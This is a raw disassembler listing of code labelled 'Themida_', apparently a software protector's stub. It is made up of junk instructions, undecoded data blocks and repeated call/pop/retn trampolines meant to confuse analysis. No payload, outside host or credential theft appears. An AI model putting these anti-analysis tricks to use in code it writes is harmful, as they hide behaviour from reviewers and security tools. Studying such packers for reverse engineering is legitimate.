		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 2FC35545h
		dd 60179FB0h, 0A05DC216h, 30A19D31h, 70E607D1h,	5E9h, 0A64BD100h
		dd 0F8522733h, 6A71E45Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 46B9C350h, 0BE9h, 0E913FC00h
		dd 0F03C6F4Dh, 0D425C6Dh, 830F613Ch, 20Dh, 0D8B60FFCh
		dd 0A50CB0BFh, 6BA0Ah, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0FC91B2C3h, 5440CAC4h
		dd 8BFEBF0Fh, 0D1B58BC3h, 0C107D11Dh, 9D8904E8h, 7D11421h
		dd 0E9E2F766h, 0Dh, 0EB8C09B9h,	0C7E5879Dh, 0B8D4E4C2h
		dd 6AD82B6Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0E29BC356h, 20A224h, 0AE85662h
		dd 9A000000h, 2240884Ah, 3FE76415h, 585E5F7Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 52C35040h, 57458DE7h
		dd 0A3A12D6Eh, 880FD82Bh, 151h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 8EC35747h, 0BF890CFh, 0D12B29B5h
		dd 7B907h, 83F80000h, 6A00C1h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0C05C0BC3h, 8166F078h
		dd 3B0F9AF6h, 0F6860FD9h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0F386C353h
		dd 6E9h, 1255300h, 66D6D1E5h, 8B66D98Ch, 4C1F6F1h, 0BA840Fh
		dd 95FF0000h, 7D101C5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0FAC35242h, 0C1521E45h, 147CDACEh, 69BD8BAFh
		dd 5B07D12Fh, 582CE781h, 0C32B0926h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 1EC35545h, 60245840h, 0B58B601Dh
		dd 7D129DDh, 0A81BC381h, 3D6143E9h, 834h, 46860Fh, 0B5030000h
		dd 7D1208Dh, 40E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 21D11621h, 6C32374Dh
		dd 12E9F7h, 84B90000h, 46431Eh,	8D0FC708h, 0D81FA2DDh
		dd 0C1E7669Ch, 8B66C08Bh
		db 0FEh
; ---------------------------------------------------------------------------


loc_5CA21D:				; CODE XREF: Themida_:loc_5C9DB4j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	ecx
		call	sub_5CA22C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA22C	proc near		; CODE XREF: Themida_:005CA224p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5CA22C	endp

; ---------------------------------------------------------------------------
		xchg	eax, esp
		pop	edx
		sub	[ebp+7D113C9h],	edi
		mov	dword ptr [ebp+7D12725h], 5A894953h
		mov	eax, eax
		mov	si, 1699h
		cmp	dword ptr [ebp+7D12001h], 7D0h
		jnz	loc_5CA28E
		push	0
		push	esi
		call	sub_5CA26F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA26F	proc near		; CODE XREF: Themida_:005CA267p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5CA26F	endp

; ---------------------------------------------------------------------------
		db 0E3h
; ---------------------------------------------------------------------------
		mov	bl, ah
		inc	dword ptr [ebp+7D12001h]
		sub	[ebp+7D12CF5h],	edi


loc_5CA28E:				; CODE XREF: Themida_:005CA25Ej
		push	dword ptr [ebp+7D12001h]
		push	0
		push	ebx
		call	sub_5CA29F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA29F	proc near		; CODE XREF: Themida_:005CA297p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5CA29F	endp

; ---------------------------------------------------------------------------
		db 89h
; ---------------------------------------------------------------------------
		add	byte ptr [esp+ebx*2-75h], 2Bh
		test	dword ptr [esi-62D62015h], 7D11831h
		call	dword ptr [ebp+7D10055h]
		mov	[ebp+7D113EDh],	edx
		ja	loc_5CA2D6
		mov	esi, 26E689CCh


loc_5CA2D6:				; CODE XREF: Themida_:005CA2CBj
		nop
		jb	loc_5CA2DE
		cld


loc_5CA2DE:				; CODE XREF: Themida_:005CA2D7j
		mov	di, ax
		jmp	loc_5CA2F0
; ---------------------------------------------------------------------------
		dw 0ADE5h
; ---------------------------------------------------------------------------
		sbb	[eax-79065BB2h], dh
		cmc
		xchg	eax, esi


loc_5CA2F0:				; CODE XREF: Themida_:005CA2E1j
		or	[ebp+7D11371h],	esi
		push	0
		push	ebp
		call	sub_5CA301
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA301	proc near		; CODE XREF: Themida_:005CA2F9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5CA301	endp

; ---------------------------------------------------------------------------
		pop	eax
		test	al, 8Dh
		sar	byte ptr [ecx-0F8F143Fh], 1
		movzx	edi, di
		mov	edi, [ebp+7D11F61h]
		add	edi, 3FDAEBDEh
		movsx	esi, dx
		mov	esi, 2A07F867h
		mov	esi, ecx
		mov	edi, 4EF58298h
		xor	edi, 6EF32B1Ch
		cld
		movzx	esi, ax
		push	0
		push	edx
		call	sub_5CA34D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA34D	proc near		; CODE XREF: Themida_:005CA345p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5CA34D	endp

; ---------------------------------------------------------------------------
		aam	0C9h
		fild	dword ptr [ecx+14998529h]
		rol	dword ptr [edi], 1
		jmp	loc_5CA37E
; ---------------------------------------------------------------------------
		dd 11EE3548h, 5BD03FD6h, 0A6730C9h, 5A02C8DBh
; ---------------------------------------------------------------------------
		mov	[ecx], edi


loc_5CA37E:				; CODE XREF: Themida_:005CA367j
		push	edx
		add	edi, [ebp+7D1004Dh]
		pop	edi
		push	0
		push	ecx
		call	sub_5CA391
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA391	proc near		; CODE XREF: Themida_:005CA389p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5CA391	endp

; ---------------------------------------------------------------------------
		push	ds
		nop
		fst	dword ptr [esi]
		stc
		jo	short loc_5CA406
		mov	es, cx
		jb	short loc_5CA3DD
		test	ebp, ebp
		sub	ecx, edx
		pop	es
		push	0
		push	ecx
		call	sub_5CA3BC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA3BC	proc near		; CODE XREF: Themida_:005CA3B4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5CA3BC	endp

; ---------------------------------------------------------------------------
		dd 578145BFh, 67542B0Ah, 0D781B5FEh, 26F1EEE1h
		db 0E9h
; ---------------------------------------------------------------------------


loc_5CA3DD:				; CODE XREF: Themida_:005CA3AAj
		sahf
		idiv	edi
		jmp	fword ptr [edx+0]
; ---------------------------------------------------------------------------
		push	edi
		call	sub_5CA3EC
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA3EC	proc near		; CODE XREF: Themida_:005CA3E4p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5CA3EC	endp

; ---------------------------------------------------------------------------
		dd 0CBBD8058h, 2FC781F3h
		db 22h,	50h
; ---------------------------------------------------------------------------


loc_5CA406:				; CODE XREF: Themida_:005CA3A6j
		sub	al, 60h
		mov	ebx, [ebp+7D113F1h]
		mov	[ebp+7D12F15h],	esi
		add	[ebp+7D107A1h],	edi
		mov	[ebp+7D125B9h],	eax
		popa
		mov	eax, ecx
		mov	esi, [ebp+7D11C69h]
		jmp	short loc_5CA42F
; ---------------------------------------------------------------------------
		align 4
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5CA42F:				; CODE XREF: Themida_:005CA429j
		sub	[ebp+7D12E55h],	esi
		lea	eax, [ebp+7D11361h]
		push	0
		push	esi
		call	sub_5CA446
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA446	proc near		; CODE XREF: Themida_:005CA43Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5CA446	endp

; ---------------------------------------------------------------------------
		xor	al, 0C9h
		sti
		xchg	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 0Bh
; ---------------------------------------------------------------------------
		xchg	eax, ebx
		pop	esp
		mov	si, 29E0h
		nop
		mov	edi, eax
		push	eax
		mov	si, 8DF6h
		nop
		push	0
		push	edi
		call	sub_5CA476
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA476	proc near		; CODE XREF: Themida_:005CA46Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5CA476	endp

; ---------------------------------------------------------------------------
		push	ebp
		das
		mov	edi, 32A40981h
		mov	esi, [ebp+7D1295Dh]
		push	0
		mov	esi, [ebp+7D11CC1h]
		push	0
		mov	edi, [ebp+7D128E9h]
		mov	[ebp+7D11791h],	ecx
		lea	eax, [ebp+7D53F5Ch]
		jmp	loc_5CA4C6
; ---------------------------------------------------------------------------
		and	dword ptr [edi+3CCCB3CFh], 3Fh
		cmpsb
		call	dword ptr [esi+7Eh]
		inc	eax
		clc
		mov	ds:0B76AEEACh, al


loc_5CA4C6:				; CODE XREF: Themida_:005CA4AFj
		add	eax, 5
		movzx	edi, bx
		nop
		mov	edi, 70F37C9h
		push	eax
		jo	loc_5CA4DB
		mov	edi, ecx


loc_5CA4DB:				; CODE XREF: Themida_:005CA4D3j
		nop
		or	[ebp+7D10C51h],	ecx
		push	0
		push	0
		push	esi
		call	sub_5CA4EF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA4EF	proc near		; CODE XREF: Themida_:005CA4E7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5CA4EF	endp

; ---------------------------------------------------------------------------
		db 3Eh
		dd 72294801h, 89A588C5h, 0D132758Dh, 88BF6607h,	6A006A12h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 24BCC356h, 0BB1478D4h, 0D6816616h, 95FF2813h
		dd 7D11DE1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0F1C35040h, 0DEF25B83h,	22E1B58Bh, 9D8D07D1h, 7D4D566h
		dd 0CC9BD8Bh, 0D3FF07D1h, 292185FFh, 6A07D1h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 66995BC3h
		dd 0DCE98D9Ah, 0E8000006h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7D53F66h
		push	0
		push	esi
		call	sub_5CA5B6
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA5B6	proc near		; CODE XREF: Themida_:005CA5AEp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5CA5B6	endp

; ---------------------------------------------------------------------------
		adc	al, 0FEh
		add	[ebp+7D1246Dh],	edx
		cmp	dword ptr [ebp+7D12001h], 7D0h
		jbe	loc_5CA6CD
		add	[ebp+7D1137Dh],	edi
		mov	ebx, [ebp+7D11F45h]
		mov	edi, [ebp+7D11CC5h]
		and	ebx, 100h
		push	0
		push	ecx
		call	sub_5CA601
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA601	proc near		; CODE XREF: Themida_:005CA5F9p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5CA601	endp

; ---------------------------------------------------------------------------
		fmul	dword ptr [ecx-2EFE467Bh]
		pop	es
		or	ebx, ebx
		jnz	loc_5CA686
		mov	edi, [ebp+7D11131h]
		or	edi, [ebp+7D121E9h]
		cmp	dword ptr [ebp+7D53DEDh], 0
		jz	loc_5CA649
		mov	[ebp+7D121E1h],	edi
		jmp	loc_5CA696
; ---------------------------------------------------------------------------
		add	si, 46CBh


loc_5CA649:				; CODE XREF: Themida_:005CA633j
		mov	dword ptr [ebp+7D53DEDh], 1
		mov	esi, [ebp+7D11AF1h]
		jmp	loc_5CA696
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5CA669
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA669	proc near		; CODE XREF: Themida_:005CA661p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5CA669	endp

; ---------------------------------------------------------------------------
		db 0F1h, 7Dh, 99h
		dd 9ABE0BE0h, 9563DE81h
; ---------------------------------------------------------------------------
		push	esp
		pop	edx


loc_5CA686:				; CODE XREF: Themida_:005CA61Aj
		mov	dword ptr [ebp+7D53DEDh], 0
		add	esi, [ebp+7D12F6Dh]


loc_5CA696:				; CODE XREF: Themida_:005CA63Fj
					; Themida_:005CA659j
		lea	ebx, [ebp+7D11F45h]
		xor	[ebp+7D114CDh],	edi
		and	dword ptr [ebx], 0FFFFFEFFh
		push	0
		push	esi
		call	sub_5CA6B3
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA6B3	proc near		; CODE XREF: Themida_:005CA6ABp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5CA6B3	endp

; ---------------------------------------------------------------------------
		mov	ebx, 7524CBB0h
		mov	eax, [edx+0Fh]
		mov	bh, 0F7h


loc_5CA6CD:				; CODE XREF: Themida_:005CA5D8j
		mov	bx, ds
		movzx	edi, cx
		test	bl, 4
		jz	loc_5CA713
		mov	edi, edx
		call	dword ptr [ebp+7D101C5h]
		clc
		nop
		jmp	loc_5CA6FB
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D59C3D35h, 464878E8h, 4C40120Fh
		db 0E9h, 30h, 47h
; ---------------------------------------------------------------------------


loc_5CA6FB:				; CODE XREF: Themida_:005CA6E6j
		push	eax
		jmp	loc_5CA70C
; ---------------------------------------------------------------------------
		test	[ebx-36h], ecx
		lea	ebp, [edx+54h]
		test	cl, bl
		clc
		xchg	edx, esi


loc_5CA70C:				; CODE XREF: Themida_:005CA6FCj
		nop
		mov	[ebp+7D11515h],	ecx


loc_5CA713:				; CODE XREF: Themida_:005CA6D6j
		jmp	loc_5CAA7E
; ---------------------------------------------------------------------------
		dd 2F7BBF66h, 816600B0h, 0E6C5FAC7h, 6A71E470h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 6B36C350h, 3E60AFD9h, 66966D32h, 0F98B5BEh, 6AD8B6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 7040AC3h, 0BD23CEB4h, 7D12525h, 16DDB58Bh, 9D2907D1h
		dd 7D11515h, 6BAh, 13E86000h, 0B4000000h, 4BC96407h, 161D8B3Eh
		dd 94D460E5h, 6EB782B1h, 5953AE4Dh, 0C38B615Fh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 6C35242h, 0BD23F376h
		dd 7D12069h, 6A04E8C1h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 9905C357h, 8ABEFC18h
		dd 8920A1D9h, 0D1205995h, 0E2F76607h, 66D82BFCh, 0AB9DC681h
		dd 38C0F50h, 66000000h,	1C89FA8Bh, 1B5FF24h, 6A07D120h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 801CC355h, 95FF3951h, 7D10055h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 27C35747h, 0FB8B82A3h
		dd 8D8900B0h, 7D113D1h,	6A70E6h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 8BB964C3h, 6671E4F7h
		dd 0AA73DF81h, 830F613Ch, 1EAh,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 6BC35545h, 1D449F67h, 0B5894EA9h
		dd 7D125C1h, 51D8B60Fh,	5E8h, 2A820200h, 5EF5589Ch, 0B2BF665Fh
		dd 6BAFEh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 7CB41C3h, 17299509h, 816607D1h
		dd 8BA6DBCFh, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0E7F49D46h, 4E8C18Fh, 82C7F681h
		dd 0B5097F0Dh, 7D118F1h, 89E2F766h, 0D13179BDh,	93BE6607h
		dd 0FD82BB0h, 68Ch, 0BD858900h,	5807D12Dh, 16059529h, 0BD8B07D1h
		dd 7D12139h, 880FD82Bh,	11Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 32C35343h, 0FA89780h, 7B9F2BFh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 84E2C355h, 858E5A49h, 84E302B3h
		dd 0F60FE8Bh, 1387h, 0EE900h, 0E6C90000h, 190201B8h, 94A6122Dh
		dd 0DEDC176Bh, 2475B58Bh, 896107D1h, 0D11BF9BDh, 0C18307h
		dd 9259D89h, 0D93B07D1h, 98860Fh, 0BD030000h, 7D11D01h
		dd 6AD98C66h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 9D97C352h, 8B662D9Bh, 4C1F6F3h
		dd 5C840Fh, 0FFFC0000h,	0D101C595h, 0D5BD8B07h,	5B07D116h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0A8C35040h
		dd 0DD0458A0h, 2BA8AE93h, 0D5BD8BC3h, 8907D10Eh, 0D10C99BDh
		dd 8343D07h, 860F0000h,	12h, 14E9F9h, 9D890000h, 7D11B55h
		dd 199BD8Bh, 0C08B07D1h, 83D9D89h
; ---------------------------------------------------------------------------
		rol	dword ptr [edi], 1


loc_5CAA7E:				; CODE XREF: Themida_:loc_5CA713j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	edi
		call	sub_5CAA8D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CAA8D	proc near		; CODE XREF: Themida_:005CAA85p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5CAA8D	endp

; ---------------------------------------------------------------------------
		jmp	short loc_5CAB05
; ---------------------------------------------------------------------------
		mov	edi, 66603925h
		add	eax, 8B61E766h
		mov	ebp, 7D11BC1h
		mov	dword ptr [ebp+7D11EA9h], 788C23DDh
		mov	edi, [ebp+7D13179h]
		mov	eax, eax
		push	0
		push	ebp
		call	sub_5CAACC
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CAACC	proc near		; CODE XREF: Themida_:005CAAC4p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5CAACC	endp

; ---------------------------------------------------------------------------
		inc	eax
		cmp	dword ptr [ebp+7D12001h], 7D0h
		jnz	loc_5CAB4C
		push	0
		push	edi
		call	sub_5CAAF8
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CAAF8	proc near		; CODE XREF: Themida_:005CAAF0p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h


loc_5CAB05:				; CODE XREF: Themida_:005CAA9Dj
		inc	edi
		push	edi
		retn
sub_5CAAF8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0D2DB6409h, 85FFF04Ah, 7D12001h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 8DC35646h, 0E93B008Fh, 14h
		dd 6FB759D5h, 0B2BB8066h, 28758B56h, 0C9D18EEEh, 38530E1Eh
; ---------------------------------------------------------------------------


loc_5CAB4C:				; CODE XREF: Themida_:005CAAE7j
		push	dword ptr [ebp+7D12001h]
		add	edi, [ebp+7D13075h]
		call	dword ptr [ebp+7D10055h]
		jmp	loc_5CAB6A
; ---------------------------------------------------------------------------
		mov	edx, [ecx]
		mov	esi, esp
		clc
		cwde
		inc	edi


loc_5CAB6A:				; CODE XREF: Themida_:005CAB5Ej
		nop
		push	0
		push	ecx
		call	sub_5CAB76
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CAB76	proc near		; CODE XREF: Themida_:005CAB6Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5CAB76	endp

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		mov	[ebp+7D11EF5h],	eax
		movzx	esi, ax
		push	0
		push	ebp
		call	sub_5CAB9B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CAB9B	proc near		; CODE XREF: Themida_:005CAB93p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5CAB9B	endp

; ---------------------------------------------------------------------------
		db 0FFh
; ---------------------------------------------------------------------------
		retn	6A6Ch
; ---------------------------------------------------------------------------
		align 10h
		push	eax
		call	sub_5CABB9
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CABB9	proc near		; CODE XREF: Themida_:005CABB1p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5CABB9	endp

; ---------------------------------------------------------------------------
		db 26h,	0FCh, 93h
		dd 0BB9D773Fh, 2571B58Bh, 816607D1h, 0F558C3EFh, 8BC38B60h
		dd 0D103C99Dh, 60C18B07h, 28A9BD8Bh, 0BE807D1h,	7A000000h
		dd 5FA90CF9h, 2CE50A31h, 615B69E8h, 53006A61h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0BE44E342h
		dd 6C8216B5h, 6AF1BF0Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0B44C352h, 0D12091BDh
		dd 0FABF0F07h, 18840Fh,	7E90000h, 77000000h, 4F0DD866h
		dd 810F96EBh, 6, 810Fh,	0BD310000h, 7D12BE1h, 0FFF92AE9h
		dd 75BD8BFFh, 8B07D12Fh, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 794C30E8h, 11E94B6Dh
		dd 51000000h, 4029A2Dh,	9E8CCBFh, 52AF1B6Dh, 0FB43A908h
		dd 4EBh, 11E80000h, 3000000h, 7EB79247h, 1BF07AB7h, 268481C0h
		dd 0DCB17F0h, 8E960h, 1EA30000h, 0B8FD6C20h, 0BD8BAF1Eh
		dd 7D115EDh, 6A5F61h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 571085C3h, 7E4FDA13h, 0FCFC41Fh
		dd 684h, 65B53300h, 8B07D110h, 0D13159BDh, 61858D07h, 5007D113h
		dd 89FA8B66h, 0BD8B2404h, 7D118F1h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0AD7E6DC3h
		dd 68E0Fh, 0BD230000h, 7D11469h, 858D006Ah, 7D54809h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 65C35343h, 399DFDDBh
		dd 0B58B9B1Bh, 7D11CC1h, 8B05C083h, 0D10EF1B5h,	0B7BF9007h
		dd 5067C4CDh, 9E8h, 0D486A600h,	0F303C862h, 8B604E99h
		dd 615F56F9h, 6A905Fh, 31099589h, 6A07D1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 3AC35141h, 0E07CE6D5h
		dd 6FE714D4h, 5E816h, 84050000h, 66ACBB5Ah, 528FD781h
		dd 0F1B58B5Eh, 0FF07D116h, 0D11DE195h, 6DBD8907h, 8D07D12Dh
		dd 0D4D5669Dh, 5BD8907h, 0FF07D133h, 22E781D3h,	0FF35395Dh
		dd 0D1292185h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 215FD9FBh, 0C5503293h
		dd 0B1B589AEh, 0E907D118h, 894h, 0E8h, 0ED815D00h, 7D54813h
		dd 2001BD81h, 7D007D1h,	860F0000h, 14Dh, 6850Fh, 9D290000h
		dd 7D12F3Dh, 1919D8Bh, 6A07D1h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 5827EDC3h, 9D8972E5h
		dd 7D13305h, 0DA4FBE66h, 100E381h, 8B660000h, 0FDB0BF2h
		dd 0C885h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1D04h, 0C3504000h, 1277FE19h, 42C8198h, 0EE892B1h, 0A5000000h
		dd 813F8D91h, 17D2F689h, 39548BDh, 0BD835FAEh, 7D54678h
		dd 2E840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 4AD4C355h, 4AB20722h
		dd 0ABF6650h, 78E9AEh, 8B660000h, 7885C7F1h, 107D546h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 1264C357h, 2361FD17h, 0D11F8DB5h
		dd 0CD8D0107h, 0E907D132h, 3Ah,	7E8h, 67000B00h, 0D614A51Ah
		dd 7E9h, 43464400h, 0D66AB7EEh,	7885C75Fh, 7D546h, 0E9000000h
		dd 12h,	0EF1924AFh, 70A86539h, 8C3C4B17h, 593F954Ch, 9D8DDDD9h
		dd 7D10191h, 7C68166h, 0FF2381DBh, 89FFFFFEh, 0D116CDBDh
		dd 0DB8C6607h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0D5C35040h, 32E7C19Dh, 4C3994BCh, 4C3F610h, 46840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 974620C3h, 0DAC40C1Eh, 0FFF88B66h, 0D101C595h
		dd 0E59D8907h, 9007D110h, 9D0BE66h, 0E9569050h,	7, 5E8F2BC3h
		dd 5E761313h, 4BAE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0C05C0BAEh, 4509F078h
		dd 6A00B06Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 55E3C357h, 0C59C4DC4h,	8161C232h
		dd 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 238C41C3h, 6A71E463h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0BC59C353h
		dd 0F76AAEE5h, 0FD6BEAFh, 0F60D8B6h, 0F781DABFh, 7F14D7E2h
		dd 159D8961h, 0BA07D12Ch, 6, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0D1C35242h,	46A8EB59h, 58A26CEFh
		dd 1A1F32BEh, 6AC38B21h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0FC68C355h,	0BB9F644Dh
		dd 0D9BD89F3h, 6007D105h, 33AD9D8Bh, 8D2907D1h,	7D11B9Dh
		dd 5820F61h, 0BF000000h, 4BFF650Dh, 6A04E8C1h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 7264C351h, 66965932h, 0D82BE2F7h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 54C35747h, 0EDE525Dh, 0CA3D8313h
